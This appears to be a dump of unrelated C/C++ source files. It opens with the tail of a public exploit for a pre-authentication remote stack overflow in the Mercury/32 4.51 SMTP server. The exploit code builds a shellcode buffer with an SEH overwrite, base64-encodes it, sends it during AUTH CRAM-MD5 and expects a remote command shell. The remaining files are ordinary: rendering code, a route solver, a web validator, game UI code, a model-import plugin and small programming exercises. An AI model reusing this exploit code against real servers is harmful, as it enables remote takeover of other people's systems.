if(strstr(buf, str_sig)) { break; } else { continue; } } //for(;;) return ret; } int check_send(SOCKET s, char* buf, unsigned int buf_len) { int ret; ret = send(s, buf, buf_len, 0); if( ret >0) { return ret; } else { printf("[-] send() %s\n", GetErrorMessage(GetLastError())); closesocket(s); ExitProcess(-1); } } void exploit_mercury_smtpd(char* ip, unsigned short port) { SOCKET s; WSADATA wsa; char buf[1500]; char payload[sizeof(buf)*4/3+16]; int base64_len; memset(buf, 0x90, sizeof(buf)); memcpy(&buf[1244-sizeof(shellcode)-32], shellcode, sizeof(shellcode)); memcpy(&buf[1244], "\x90\x90\xeb\x06", 4); memcpy(&buf[1244+4], "\x2d\x12\x40\x00", 4); //universal opcode in mercury.exe. no safeseh memcpy(&buf[1244+4+4], "\x90\x90\x90\x90\xE9\x44\xfd\xff\xff", 9); buf[sizeof(buf)-1] = '\0'; memset(payload, 0x00, sizeof(payload)); base64_len = Base64Encode(payload, buf, sizeof(buf)); memcpy(&payload[base64_len], "\r\n", 3); printf("[*] connect to %s:%d ... ", ip, port); WSAStartup(MAKEWORD(2,2), &wsa); s = MakeConnection(ip, port, 10); if(s <= 0) { printf("Failed! %s\n", GetErrorMessage(GetLastError()) ); return; } else { printf("OK!\n"); } _snprintf(buf, sizeof(buf), "EHLO void#ph4nt0m.org\r\n"); printf("[C] %s", buf); check_send(s, buf, strlen(buf)); check_recv(s, "250 HELP"); _snprintf(buf, sizeof(buf), "AUTH CRAM-MD5\r\n"); printf("[C] %s", buf); check_send(s, buf, strlen(buf)); check_recv(s, "334"); printf("[C] Send Payload...\n"); check_send(s, payload, strlen(payload)); printf("[-] Done! cmdshell@1154?\n"); closesocket(s); WSACleanup(); } void main(int argc, char* argv[]) { printf("== Mercury/32 4.51 SMTPD CRAM-MD5 Pre-Auth Remote Stack Overflow\n"); printf("== Public Version 1.0\n"); printf("== http://www.ph4nt0m.org 2007-08-22\n"); printf("== code by Zhenhan.Liu\n\n"); if(argc==3) exploit_mercury_smtpd(argv[1], atoi(argv[2])); else { printf( "Usage:\n" " %s <ip> <port> \n", argv[0]); } } // milw0rm.com [2007-08-22]
#pragma once #include "ChunkOctreeNode.h" #include <vector> #include <algorithm> #include <thread> #include <mutex> //TODO: Update blockGroups class ChunkOctree { public: //isBuild: should this chunk be builded. True = build chunk, False = destruct chunk. //needDelete: should this chunkNode be freed after destruction. //node: pointer to chunkNode. //groupBak: pointer to the blockGroup attached to the chunkNode. // N.B. node->group will be set to NULL as soon as the node was added into the destruct list, // so we need save the pointer to the node's blockGroup inorder to clean it up. // If we do not set node->group to NULL as soon as the node was added into the destruct list, // the blockGroup of that node will keep cleaned up and reused while the node comes a leaf node again, // without rebuild the group buffers. ChunkOctree(std::mutex& _m, std::condition_variable& _cv, bool useMT); virtual ~ChunkOctree(); void Update(glm::vec3 playerPos); //Single thread updating void UpdateNode(ChunkOctreeNode* node); //Multi thread updating bool PreUpdateNode(ChunkOctreeNode* node); void DoWork(); bool PostUpdateNode(ChunkOctreeNode* node); void CleanChildResc(ChunkOctreeNode* node); void StopChildLoading(ChunkOctreeNode * node); std::vector<ChunkOctreeNode::GPUWork> workList; std::vector<ChunkOctreeNode::GPUWork> GPUworkList; std::mutex& m_mutex; std::condition_variable& m_condVar; void Drawall_WalkThrough(int vertCount, int instanceAttribIndex, GLint modelMatrixUniformIndex); void _DrawNode(ChunkOctreeNode * node, int vertCount, int instanceAttribIndex, GLint modelMatrixUniformIndex); ChunkOctreeNode* mp_treeRoot[32][32]; ChunkOctreeNode renderList[32][32]; glm::vec3 m_playerPos; GLuint compute_programme; bool multiThread; };
/** * @file InputReaction.h * @author matthewpoletin */ #pragma once #include "Application.h" using namespace liman; void TempInputReaction();
#include <iostream> #include "graph.h" #include "airports.h" #include "node.h" namespace { using Airports::kAirports; using Airports::AirportID; using Airports::AirportData; } // namespace int main(int argc, char** argv) { if (argc != 3) { std::cout << "Error: requires initial and final airport names" << std::endl; return -1; } std::string initial_airport_name = argv[1]; std::string goal_airport_name = argv[2]; // Construct the graph in the search space and find the solution. Graph g(Airports::kAirports); Node solution = g.Solve(initial_airport_name, goal_airport_name); // Print out data about the solution. if (std::isfinite(solution.estimated_cost)) { const std::vector<AirportID>& path = solution.geographic_path; for (size_t i = 0; i < path.size(); ++i) { const AirportID airport_idx = path[i]; const AirportData& airport = kAirports[airport_idx]; if (i == (path.size() - 1)) { // Last station std::cout << airport.name << std::endl; } else if (i == 0) { // First station. std::cout << airport.name << " -- charge time: 0" << std::endl; } else { // Intermediate station. // Convert m -> km for print const double charge_time_hr = solution.charge_amounts[airport_idx] / airport.rate / 1000.0; std::cout << airport.name << " -- charge time: " << charge_time_hr << " hr" << std::endl; } } std::cout << std::endl; } else { std::cout << "no solution found" << std::endl; } return 0; }
#pragma once #include <string> #include <memory> #include <vector> #include "constants.h" #include "IConfigConsumer.hpp" #include "ISite.hpp" struct SFile; class CGridSite : public ISite { public: std::vector<std::unique_ptr<CStorageElement>> mStorageElements; CGridSite(const std::uint32_t multiLocationIdx, std::string&& name, std::string&& locationName); CGridSite(CGridSite&&) = default; CGridSite& operator=(CGridSite&&) = default; CGridSite(CGridSite const&) = delete; CGridSite& operator=(CGridSite const&) = delete; auto CreateStorageElement(std::string&& name) -> CStorageElement*; }; class CRucio : public IConfigConsumer { public: std::vector<std::unique_ptr<SFile>> mFiles; std::vector<std::unique_ptr<CGridSite>> mGridSites; CRucio(); ~CRucio(); auto CreateFile(const std::uint32_t size, const TickType expiresAt) -> SFile*; auto CreateGridSite(const std::uint32_t multiLocationIdx, std::string&& name, std::string&& locationName) -> CGridSite*; auto RunReaper(const TickType now) -> std::size_t; bool TryConsumeConfig(const nlohmann::json& json) final; };
/* * SPDX-FileCopyrightText: (C) 2017-2022 Matthias Fehring <mf@huessenbergnetz.de> * SPDX-License-Identifier: BSD-3-Clause */ #include "validatorboolean_p.h" #include <QStringList> using namespace Cutelyst; ValidatorBoolean::ValidatorBoolean(const QString &field, const ValidatorMessages &messages, const QString &defValKey) : ValidatorRule(*new ValidatorBooleanPrivate(field, messages, defValKey)) { } ValidatorBoolean::~ValidatorBoolean() { } ValidatorReturnType ValidatorBoolean::validate(Context *c, const ParamsMultiMap &params) const { ValidatorReturnType result; const QString v = value(params); if (!v.isEmpty()) { static const QStringList lt({QStringLiteral("1"), QStringLiteral("true"), QStringLiteral("on")}); static const QStringList lf({QStringLiteral("0"), QStringLiteral("false"), QStringLiteral("off")}); if (lt.contains(v, Qt::CaseInsensitive)) { result.value.setValue<bool>(true); } else if (lf.contains(v, Qt::CaseInsensitive)) { result.value.setValue<bool>(false); } else { result.errorMessage = validationError(c); qCDebug(C_VALIDATOR, "ValidatorBoolean: The value %s of field %s in %s::%s can not be interpreted as boolean.", qPrintable(v), qPrintable(field()), qPrintable(c->controllerName()), qPrintable(c->actionName())); } } else { defaultValue(c, &result, "ValidatorBoolean"); } return result; } QString ValidatorBoolean::genericValidationError(Cutelyst::Context *c, const QVariant &errorData) const { QString error; Q_UNUSED(errorData) const QString _label = label(c); if (_label.isEmpty()) { error = c->translate("Cutelyst::ValidatorBoolean", "Can not be interpreted as boolean value."); } else { //: %1 will be replaced by the field label error = c->translate("Cutelyst::ValidatorBoolean", "The value in the “%1” field can not be interpreted as a boolean value.").arg(_label); } return error; }
#include "ConcreteAggregate.h" #include "ConcreteIterator.h" #include <iostream> int main(int argc, char *argv[]) { std::shared_ptr<ConcreteAggregate> menu = std::make_shared<ConcreteAggregate>(); menu->addFruit("Apple"); menu->addFruit("Orange"); menu->addFruit("Melon"); menu->addFruit("Banana"); std::shared_ptr<Iterator> iter = menu->createIterator(); while (iter->isDone()) { auto item = iter->next(); std::cout << item->getName() << std::endl; } return 0; }
#pragma once namespace Render { constexpr char PointCloudVertShader[] = R"(#version 330 core layout(location = 0) in vec3 aPos; layout(location = 1) in vec3 aCol; uniform mat4 u_projView; out vec4 vertexColor; void main() { vertexColor = vec4(aCol, 1.0); gl_Position = u_projView * vec4(aPos, 1.0); gl_PointSize = 1.0; } )"; constexpr char BoxVertShader[] = R"(#version 330 core layout(location = 2) in vec3 aPos; layout(location = 3) in vec3 aCol; uniform mat4 u_projView; out vec4 vertexColor; void main() { vertexColor = vec4(aCol, 1.0); gl_Position = u_projView * vec4(aPos, 1.0); gl_PointSize = 4.0; } )"; constexpr char FragShader[] = R"(#version 330 core in vec4 vertexColor; out vec4 fragColor; void main() { fragColor = vertexColor; } )"; }
#include <iostream> #include <string> using namespace std; int main() { string simonPattern; string userPattern; int userScore; int i; userScore = 0; simonPattern = "RRGBRYYBGY"; userPattern = "RRGBBRYBGY"; /* Your solution goes here */ for (int i = 0; i <simonPattern.length() ; ++i) { if (simonPattern.at(i)==userPattern.at(i)){ userScore++; } else { break; } } cout << "userScore: " << userScore << endl; return 0; }
/*反转字符串*/ void Reverse(char *s, int n) { for (int i = 0, j = n - 1; i < j; i++, j--) { char c = s[i]; s[i] = s[j]; s[j] = c; } int c = 0; } /*双指针删除某个字符的做法*/ void doubleptr(char *str) { char *p = str; char *q = str; while ((*p = *q )!= '\0') //注意此处的赋值 { if (*p!='a') { p++; q++; } else { q++; } } }
// Created by YUANZHONGJI on 2015/09 #include "LockGameLayer.h" #include "Store.h" USING_NS_CC; LockGameLayer* LockGameLayer::create(GameNumber number) { LockGameLayer *layer = new (std::nothrow) LockGameLayer(); if (layer && layer->init(number)) { layer->autorelease(); return layer; } CC_SAFE_DELETE(layer); return NULL; } bool LockGameLayer::init(GameNumber number) { if (!WJLayer::init()) return false; m_gameNumber = number; // init this->setContentSize(Size(1363, 768)); this->setAnchorPoint(Vec2::ANCHOR_MIDDLE); this->setPosition(Director::getInstance()->getWinSize() / 2); this->ignoreAnchorPointForPosition(false); return true; } void LockGameLayer::onEnter() { WJLayer::onEnter(); } void LockGameLayer::onExit() { WJLayer::onExit(); } void LockGameLayer::onEnterTransitionDidFinish() { WJLayer::onEnterTransitionDidFinish(); } bool LockGameLayer::isGameLocked() { return false; } void LockGameLayer::disableTouchOnScreen(float duration) { const Size &size = this->getContentSize(); if (!m_coverLayer) { LayerColor* pLayerColor = LayerColor::create(Color4B(255, 255, 255, 0), size.width, size.height); m_coverLayer = WJLayer::create(); m_coverLayer->addChild(pLayerColor); m_coverLayer->setContentSize(size); m_coverLayer->ignoreAnchorPointForPosition(false); m_coverLayer->setAnchorPoint(Vec2::ANCHOR_MIDDLE); m_coverLayer->setPosition(size / 2); this->addChild(m_coverLayer, 10); m_coverLayer->noClickMoveEffect(); m_coverLayer->setMoveAble(false); m_coverLayer->setClickAble(true); m_coverLayer->setTouchSwallowsTouches(true); m_coverLayer->setOnClick(CC_CALLBACK_2(LockGameLayer::onCoverLayerClick, this)); m_coverLayer->setVisible(false); } if (duration > 0.0f) { m_coverLayer->runAction(Sequence::create(Show::create(), DelayTime::create(duration), Hide::create(), nullptr)); } else { m_coverLayer->setVisible(true); } } void LockGameLayer::onCoverLayerClick(Node *node, WJTouchEvent *event) { // nothing } void LockGameLayer::show() { if (isGameLocked()) { disableTouchOnScreen(2.0f); this->runAction(Sequence::create(DelayTime::create(1.5f), CallFunc::create(CC_CALLBACK_0(LockGameLayer::showLockLayerInGame, this)), nullptr)); } } void LockGameLayer::showLockLayerInGame() { const Size &size = this->getContentSize(); m_lockLayer = WJLayer::create(); m_lockLayer->setContentSize(size); m_lockLayer->ignoreAnchorPointForPosition(false); m_lockLayer->setAnchorPoint(Vec2::ANCHOR_MIDDLE); m_lockLayer->setPosition(size / 2); m_lockLayer->setTag(4403); this->addChild(m_lockLayer, 20); LayerColor* pColorLayer = LayerColor::create(Color4B(0, 0, 0, 127), size.width, size.height); m_lockLayer->addChild(pColorLayer); WJSprite* pLockSprite = WJSprite::create("game/01_common/lockBig.png"); pLockSprite->ignoreAnchorPointForPosition(false); pLockSprite->setAnchorPoint(Vec2::ANCHOR_MIDDLE); pLockSprite->setPosition(size / 2); pLockSprite->setScale(0.2f); m_lockLayer->addChild(pLockSprite, 20); m_lockLayer->noClickMoveEffect(); m_lockLayer->setClickAble(true); m_lockLayer->setTouchSwallowsTouches(true); m_lockLayer->setCustomizeTouchRect(Rect(0.0f, 0.0f, size.width, size.height), true); m_lockLayer->setOnClick(CC_CALLBACK_2(LockGameLayer::onBigLockClicked, this)); m_lockLayer->setEnabled(false); //ParticleSystemQuad *pParticle = ParticleSystemQuad::create("particles/suo.plist"); //pParticle->setPosition(pLockSprite->getPosition()); //pParticle->setPositionType(ParticleSystem::PositionType::RELATIVE); //m_lockLayer->addChild(pParticle, 10); pLockSprite->runAction(Sequence::create( Spawn::createWithTwoActions( ScaleTo::create(1.0f, 1.0f), RotateBy::create(1.0f, 1080.0f)), CCCallFunc::create([=]() { PUtils::playBubbleEffectWithCurrentScale(pLockSprite); }), nullptr)); m_lockLayer->runAction(Sequence::create(DelayTime::create(1.05f), CallFunc::create(CC_CALLBACK_0(WJLayer::setEnabled, m_lockLayer, true, false)), DelayTime::create(1.0f), CallFunc::create([=]() { if (m_lockLayer->getTag() == 4403) onBigLockClicked(m_lockLayer, nullptr); }), nullptr))->setTag(9821); } void LockGameLayer::onBigLockClicked(Node* pNode, WJTouchEvent* e) { WJLayer *layer = (WJLayer*)pNode; layer->stopActionByTag(9821); if (WJUtils::canClick("bigLockClick", 500)) { CCLOG("--------click big lock--------"); //if (m_gameNumber == GameNumber::P001) Store::showStoreMini(IAP_HAIR_PACK_KEY); pNode->setTag(4404); } } LockGameLayer::LockGameLayer() { m_coverLayer = nullptr; m_lockLayer = nullptr; }
#include<iostream> using namespace std; int main() { int i=1; for(;i<=5;) { cout<<"hello"<<endl; i++; } return 0; }
///event_queue.h // // #ifndef EVENT_QUEUE_H #define EVENT_QUEUE_H #include <memory> #include <iostream> #include "fddef.h" NAMESP_BEGIN namespace net { template<class Poller> class EventQueue { public: EventQueue() { } ~EventQueue() { } void process(); template<class Event> void bind(fd_t fd, Event* e); template<class Event> void unbind(fd_t fd, Event* e); void unbind(fd_t fd); template<class Callback> void bindInput(fd_t fd, Callback cb); private: template<class Event> void process(Event* e){ e->fire(); } private: Poller _poller; }; }//net NAMESP_END #include "event_queue.inl" #endif /*EVENT_QUEUE_H*/
//this is kind of a poor example for plugins, since the format's not totally known and the code is WIP. //but it does showcase some interesting usages. #include "stdafx.h" #undef max #undef min #include "half.hpp" using half_float::half; #include <map> #include <stack> #include <stdint.h> const char *g_pPluginName = "bayonetta_pc"; const char *g_pPluginDesc = "Bayonetta PC model handler, by Dick, Kerilk."; FILE *bayo_log; #ifdef _DEBUG #define DBGLOG(fmt, ...) fprintf(bayo_log, fmt, __VA_ARGS__) #define OPENLOG() (bayo_log = fopen("bayo.log", "w")) #define CLOSELOG() fclose(bayo_log) #define DBGFLUSH() fflush(bayo_log) #else #define DBGLOG(fmt, ...) do { if (0) fprintf(bayo_log, fmt, __VA_ARGS__); } while (0) #define OPENLOG() do { if (0) bayo_log = fopen("bayo.log", "w+"); } while (0) #define CLOSELOG() do { if (0) fclose(bayo_log); } while (0) #define DBGFLUSH() do { if (0) fflush(bayo_log); } while (0) #endif #define DBG_ANIM_DATA 0 #if DBG_ANIM_DATA #define DBGALOG(fmt, ...) DBGLOG(fmt, __VA_ARGS__) #else #define DBGALOG(fmt, ...) do { if (0) DBGLOG(fmt, __VA_ARGS__); } while (0) #endif #include "FloatDecompressor.h" typedef enum game_e { BAYONETTA, BAYONETTA2, VANQUISH, NIER_AUTOMATA, MGRR, ASTRAL_CHAIN, TD, ANARCHY_REIGNS, MADWORLD } game_t; #include "tpl.h" #include "Bayo.h" #include "Vanquish.h" #include "Bayo2.h" #include "Nier.h" #include "AstralChain.h" #include "TD.h" #include "MGRR.h" #include "AnarchyReigns.h" #include "MadWorld.h" #include "MotionBayo.h" #include "MotionBayo2.h" #include "bayonetta_materials.h" #define WMB_TAG 0x00424d57 #define WMB3_TAG 0x33424d57 #define WMB4_TAG 0x34424d57 #define XT1_TAG 0x00315458 //see if something is a valid bayonetta .dat template <bool big, game_e game> bool Model_Bayo_Check(BYTE *fileBuffer, int bufferLen, noeRAPI_t *rapi) { char * gameName; switch (game) { case BAYONETTA: gameName = "Bayonetta"; break; case BAYONETTA2: gameName = "Bayonnetta 2"; break; case VANQUISH: gameName = "Vanquish"; break; case NIER_AUTOMATA: gameName = "Nier Automata"; break; case MGRR: gameName = "MGRR"; break; case ASTRAL_CHAIN: gameName = "Astral Chain"; break; case TD: gameName = "Transformer Devastation"; break; case ANARCHY_REIGNS: gameName = "Anarchy Reigns"; break; case MADWORLD: gameName = "MadWorld"; break; default: gameName = "Unknown"; } DBGLOG("Checking %s %s\n", big? "big" : "little", gameName); if (bufferLen < sizeof(bayoDat_t)) { return false; } bayoDat<big> dat((bayoDat_t *)fileBuffer); if (memcmp(dat.id, "DAT\0", 4)) { return false; } if (dat.numRes <= 0 || dat.ofsRes <= 0 || dat.ofsRes >= bufferLen || dat.ofsType <= 0 || dat.ofsType >= bufferLen || dat.ofsNames <= 0 || dat.ofsNames >= (bufferLen-4) || dat.ofsSizes <= 0 || dat.ofsSizes >= bufferLen) { return false; } BYTE *namesp = fileBuffer+dat.ofsNames; int strSize = *((int *)namesp); if (big) LITTLE_BIG_SWAP(strSize); namesp += sizeof(int); if (strSize <= 0 || strSize >= bufferLen || dat.ofsNames+(int)sizeof(int)+(strSize*dat.numRes) > bufferLen) { return false; } int numWMB = 0; int numMOT = 0; int numSCR = 0; int numWTB = 0; int numWTA = 0; int numMDB = 0; int numTPL = 0; int numHKX = 0; DBGLOG("Found %d resources\n", dat.numRes); for (int i = 0; i < dat.numRes; i++) { char *name = (char *)namesp; if (name[strSize-1]) { //incorrectly terminated string return false; } DBGLOG("\t%s\n", name); if (rapi->Noesis_CheckFileExt(name, ".wtb")) numWTB++; if (rapi->Noesis_CheckFileExt(name, ".wta")) numWTA++; if (rapi->Noesis_CheckFileExt(name, ".hkx")) numHKX++; if (rapi->Noesis_CheckFileExt(name, ".wmb")) { numWMB++; //Try to rule out non bayonetta file. int sizeWmb = ((int*)(fileBuffer + dat.ofsSizes))[i]; if (big) { LITTLE_BIG_SWAP(sizeWmb); } if ( sizeWmb > 12) { int offWmb = ((int*)(fileBuffer + dat.ofsRes))[i]; if (big) { LITTLE_BIG_SWAP(offWmb); } unsigned int tag = ((unsigned int*)(fileBuffer + offWmb))[0]; unsigned int version = ((int*)(fileBuffer + offWmb))[1]; if (big) { LITTLE_BIG_SWAP(tag); LITTLE_BIG_SWAP(version); } if (game == MGRR && tag != WMB4_TAG) { DBGLOG("Found non MGRR File!\n"); return false; } if (game != MGRR && tag == WMB4_TAG) { DBGLOG("Found MGRR File!\n"); return false; } if ((game == NIER_AUTOMATA || game == ASTRAL_CHAIN || game == TD) && tag != WMB3_TAG) { DBGLOG("Found non Nier Automata, Astral Chain File or Transformer Devastation File!\n"); return false; } if ((game != NIER_AUTOMATA && game != ASTRAL_CHAIN && game != TD) && tag == WMB3_TAG) { DBGLOG("Found Nier Automata, Astral Chain File or Transformer Devastation File!\n"); return false; } if ((game != NIER_AUTOMATA && game != ASTRAL_CHAIN) && tag == WMB3_TAG && version == 0x20160116) { DBGLOG("Found Nier Automata or Astral Chain File!\n"); return false; } if ((game == NIER_AUTOMATA || game == ASTRAL_CHAIN) && tag == WMB3_TAG && version != 0x20160116) { DBGLOG("Found Transformer Devastation File!\n"); return false; } unsigned int vertex_type = ((int*)(fileBuffer + offWmb))[2]; if (big) { LITTLE_BIG_SWAP(vertex_type); } if( game == BAYONETTA && vertex_type & 0x400000) { DBGLOG("Found Bayonetta 2 or Vanquish File!\n"); return false; } unsigned int vertexOffset = ((unsigned int*)(fileBuffer + offWmb))[6]; if (big) LITTLE_BIG_SWAP(vertexOffset); if (big && game != ANARCHY_REIGNS && vertexOffset == 0xa0) { DBGLOG("Found Anarchy Reigns File!\n"); return false; } if (!big && game == BAYONETTA2 && vertexOffset == 0xa0) { DBGLOG("Found Vanquish File!\n"); return false; } } } else if ((game == ASTRAL_CHAIN || game == NIER_AUTOMATA) && rapi->Noesis_CheckFileExt(name, ".wta")) { int sizeWta = ((int*)(fileBuffer + dat.ofsSizes))[i]; if (big) { LITTLE_BIG_SWAP(sizeWta); } if (sizeWta > 0x20) { unsigned int offWta = ((unsigned int*)(fileBuffer + dat.ofsRes))[i]; if (big) { LITTLE_BIG_SWAP(offWta); } unsigned int offsetTextureInfo = ((unsigned int*)(fileBuffer + offWta))[7]; if (game == ASTRAL_CHAIN && !offsetTextureInfo) { DBGLOG("Not an Astral Chain file (no texture infos)!\n"); return false; } unsigned int tag = ((unsigned int*)(fileBuffer + offWta + offsetTextureInfo))[0]; if (game == ASTRAL_CHAIN && tag != XT1_TAG) { //XT1 texture DBGLOG("Not an Astral Chain file wrong tag (%x)!\n", tag); return false; } else if (game == NIER_AUTOMATA && tag == XT1_TAG) { DBGLOG("Found Astral Chain File"); return false; } } } else if (game == BAYONETTA2 && rapi->Noesis_CheckFileExt(name, ".wtb")) { DBGLOG("Found Bayonetta, Vanquish or Anarchy Reigns File!\n"); return false; } else if (game == BAYONETTA && (rapi->Noesis_CheckFileExt(name, ".wta") || rapi->Noesis_CheckFileExt(name, ".wtp") || rapi->Noesis_CheckFileExt(name, ".bxm"))) { DBGLOG("Found Bayonetta 2 File!\n"); return false; } else if ((game == VANQUISH || game == ANARCHY_REIGNS) && (rapi->Noesis_CheckFileExt(name, ".wta") || rapi->Noesis_CheckFileExt(name, ".wtp") || rapi->Noesis_CheckFileExt(name, ".scr"))) { DBGLOG("Found Bayonetta 2 or MGRR File!\n"); return false; } else if ((game == BAYONETTA || game == BAYONETTA2) && rapi->Noesis_CheckFileExt(name, ".hkx")) { DBGLOG("Found Vanquish or Anarchy Reigns File or MadWorld File!\n"); return false; } else if (game == ASTRAL_CHAIN && rapi->Noesis_CheckFileExt(name, ".scr")) { DBGLOG("Found Bayonetta or Bayonetta 2 or MGRR or MadWorld File or TD!\n"); return false; } else if (rapi->Noesis_CheckFileExt(name, ".scr")) { numSCR++; } else if (rapi->Noesis_CheckFileExt(name, ".mdb")) { numMDB++; if (game != MADWORLD) { DBGLOG("Found MadWorld file!\n"); return false; } } else if (rapi->Noesis_CheckFileExt(name, ".tpl")) { numTPL++; if (game != MADWORLD) { DBGLOG("Found MadWorld file!\n"); return false; } } namesp += strSize; } if (numWMB <= 0 && numMOT <= 0 && numSCR <= 0 && numMDB <= 0) { //nothing of interest in here return false; } if (game == MADWORLD) { if (numMDB == 0 && numSCR == 0) { DBGLOG("Found 0 MadWorld model or level!\n"); return false; } if (numSCR && !numHKX) { DBGLOG("Found Bayonetta or Bayonetta2 level"); return false; } } if (game == BAYONETTA2 && numSCR > 0) { namesp = fileBuffer + dat.ofsNames + sizeof(int); bool found = false; for (int i = 0; i < dat.numRes; i++) { char *name = (char *)namesp; //DBGLOG("name: %s", name); if (rapi->Noesis_CheckFileExt(name, ".wta")) { found = true; } namesp += strSize; } if (!found) { return false; } } if ((game == BAYONETTA2 || game == MGRR || game == TD) && numSCR > 0) { CArrayList<bayoDatFile_t> dfiles; Model_Bayo_GetDATEntries<big>(dfiles, fileBuffer, bufferLen); for (int i = 0; i < dfiles.Num(); i++) { //DBGLOG("name: %s", name); bayoDatFile_t &df = dfiles[i]; if (rapi->Noesis_CheckFileExt(df.name, ".scr")) { bayo2SCRHdr<big> hdr((bayo2SCRHdr_t *)df.data); if (memcmp(hdr.id, "SCR\0", 4)) { //invalid header DBGLOG("Invalid SCR file\n"); return false; } if (hdr.numModels == 0) { DBGLOG("Empty SCR file\n"); return false; } unsigned int * ofsOffsetsModels = (unsigned int *)(df.data + hdr.ofsOffsetsModels); int dscrOffset = ofsOffsetsModels[0]; if (big) { LITTLE_BIG_SWAP(dscrOffset); } bayo2SCRModelDscr<big> modelDscr((bayo2SCRModelDscr_t *)(df.data + dscrOffset)); BYTE * model_data = df.data + modelDscr.offset; unsigned int tag = ((unsigned int*)model_data)[0]; if (big) LITTLE_BIG_SWAP(tag); if (game == BAYONETTA2 && tag != WMB_TAG) return false; if (game == MGRR && tag != WMB4_TAG) return false; if (game == TD && tag != WMB3_TAG) return false; } } } if (game == BAYONETTA2 && numWMB > 0 && numWTA == 0) { DBGLOG("Found TW101 File (VANQUISH loader)!\n"); return false; } DBGLOG("Found %d mdb files\n", numMDB); DBGLOG("Found %d mot files\n", numMOT); DBGLOG("Found %d wmb files\n", numWMB); DBGLOG("Found %d scr files\n", numSCR); return true; } //called by Noesis to init the plugin bool NPAPI_InitLocal(void) { int fh = g_nfn->NPAPI_Register("Bayonetta PC Model", ".dat"); if (fh < 0) { return false; } int fh_b2 = g_nfn->NPAPI_Register("Bayonetta 2 Big Endian Model", ".dat"); if (fh_b2 < 0) { return false; } int fh_2 = g_nfn->NPAPI_Register("Bayonetta 2 Switch Model", ".dat"); if (fh_2 < 0) { return false; } int fh_b = g_nfn->NPAPI_Register("Bayonetta Big Endian Model (WiiU)", ".dat"); if (fh_b < 0) { return false; } int fh_v = g_nfn->NPAPI_Register("Vanquish PC Model", ".dat"); if (fh_v < 0) { return false; } int fh_n = g_nfn->NPAPI_Register("Nier Automata PC Model", ".dtt"); if (fh_n < 0) { return false; } int fh_a = g_nfn->NPAPI_Register("Astral Chain Switch Model", ".dat"); if (fh_a < 0) { return false; } int fh_m = g_nfn->NPAPI_Register("MGRR PC Model", ".dat"); if (fh_m < 0) { return false; } int fh_td = g_nfn->NPAPI_Register("Transformer Devastation PC Model", ".dat"); if (fh_td < 0) { return false; } int fh_ar = g_nfn->NPAPI_Register("Anarchy Reigns X360 Model", ".dat"); if (fh_ar < 0) { return false; } int fh_mw = g_nfn->NPAPI_Register("MadWorld Model", ".dat"); if (fh_mw < 0) { return false; } OPENLOG(); bayoSetMatTypes(); //set the data handlers for this format g_nfn->NPAPI_SetTypeHandler_TypeCheck(fh, Model_Bayo_Check<false, BAYONETTA>); g_nfn->NPAPI_SetTypeHandler_LoadModel(fh, Model_Bayo_Load<false, BAYONETTA>); g_nfn->NPAPI_SetTypeHandler_TypeCheck(fh_b, Model_Bayo_Check<true, BAYONETTA>); g_nfn->NPAPI_SetTypeHandler_LoadModel(fh_b, Model_Bayo_Load<true, BAYONETTA>); g_nfn->NPAPI_SetTypeHandler_TypeCheck(fh_b2, Model_Bayo_Check<true, BAYONETTA2>); g_nfn->NPAPI_SetTypeHandler_LoadModel(fh_b2, Model_Bayo_Load<true, BAYONETTA2>); g_nfn->NPAPI_SetTypeHandler_TypeCheck(fh_2, Model_Bayo_Check<false, BAYONETTA2>); g_nfn->NPAPI_SetTypeHandler_LoadModel(fh_2, Model_Bayo_Load<false, BAYONETTA2>); g_nfn->NPAPI_SetTypeHandler_TypeCheck(fh_v, Model_Bayo_Check<false, VANQUISH>); g_nfn->NPAPI_SetTypeHandler_LoadModel(fh_v, Model_Bayo_Load<false, VANQUISH>); g_nfn->NPAPI_SetTypeHandler_TypeCheck(fh_n, Model_Bayo_Check<false, NIER_AUTOMATA>); g_nfn->NPAPI_SetTypeHandler_LoadModel(fh_n, Model_Bayo_Load<false, NIER_AUTOMATA>); g_nfn->NPAPI_SetTypeHandler_TypeCheck(fh_a, Model_Bayo_Check<false, ASTRAL_CHAIN>); g_nfn->NPAPI_SetTypeHandler_LoadModel(fh_a, Model_Bayo_Load<false, ASTRAL_CHAIN>); g_nfn->NPAPI_SetTypeHandler_TypeCheck(fh_m, Model_Bayo_Check<false, MGRR>); g_nfn->NPAPI_SetTypeHandler_LoadModel(fh_m, Model_Bayo_Load<false, MGRR>); g_nfn->NPAPI_SetTypeHandler_TypeCheck(fh_td, Model_Bayo_Check<false, TD>); g_nfn->NPAPI_SetTypeHandler_LoadModel(fh_td, Model_Bayo_Load<false, TD>); g_nfn->NPAPI_SetTypeHandler_TypeCheck(fh_ar, Model_Bayo_Check<true, ANARCHY_REIGNS>); g_nfn->NPAPI_SetTypeHandler_LoadModel(fh_ar, Model_Bayo_Load<true, ANARCHY_REIGNS>); g_nfn->NPAPI_SetTypeHandler_TypeCheck(fh_mw, Model_Bayo_Check<true, MADWORLD>); g_nfn->NPAPI_SetTypeHandler_LoadModel(fh_mw, Model_Bayo_Load<true, MADWORLD>); //g_nfn->NPAPI_PopupDebugLog(0); return true; } //called by Noesis before the plugin is freed void NPAPI_ShutdownLocal(void) { CLOSELOG(); } BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { return TRUE; }
#include <cstdio> #include <iostream> using namespace std; typedef long long ll; // #define DEBUG const int maxn = 5 * 1e5 + 5; int n, arr[maxn], tmp[maxn]; ll mergeSort(int left, int right) { if (left >= right) return 0; int mid = (left + right) >> 1; ll res = mergeSort(left, mid) + mergeSort(mid + 1, right); for (int i = left; i <= mid; ++i) tmp[i] = arr[i]; int p1 = left, p2 = mid + 1, p3 = left; while (p1 <= mid && p2 <= right) { if (tmp[p1] <= arr[p2]) arr[p3++] = tmp[p1++]; else { arr[p3++] = arr[p2++]; res += mid - p1 + 1; } } while (p1 <= mid) arr[p3++] = tmp[p1++]; return res; } int main() { #ifdef DEBUG freopen("d:\\data.in", "r", stdin); freopen("d:\\data.out", "w", stdout); #endif cin >> n; for (int i = 0; i < n; ++i) cin >> arr[i]; cout << mergeSort(0, n - 1); return 0; }
